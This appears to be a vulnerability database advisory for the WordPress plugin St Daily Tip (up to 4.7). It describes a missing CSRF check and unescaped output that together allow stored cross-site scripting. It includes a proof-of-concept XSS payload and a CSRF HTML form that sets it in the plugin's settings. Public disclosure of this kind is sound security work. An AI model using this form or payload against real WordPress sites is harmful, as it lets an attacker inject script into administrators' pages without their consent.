WordPress Plugin Vulnerabilities
St Daily Tip <= 4.7 - CSRF to Stored Cross-Site Scripting
Description
The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue
Proof of Concept
Add the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: "><img src onerror=confirm(/XSS/)> Via CSRF: <html> <body> <form action="http://example.com/wp-admin/admin.php?page=daily-tip" method="POST" enctype="multipart/form-data"> <input type="hidden" name="default_tip" value='"><img src onerror=confirm(/XSS/)>' /> <input type="hidden" name="default_text" value="Save" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Akash Rajendra Patil
Submitter
Akash Rajendra Patil
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-21 (about 2 years ago)
Added
2021-09-21 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)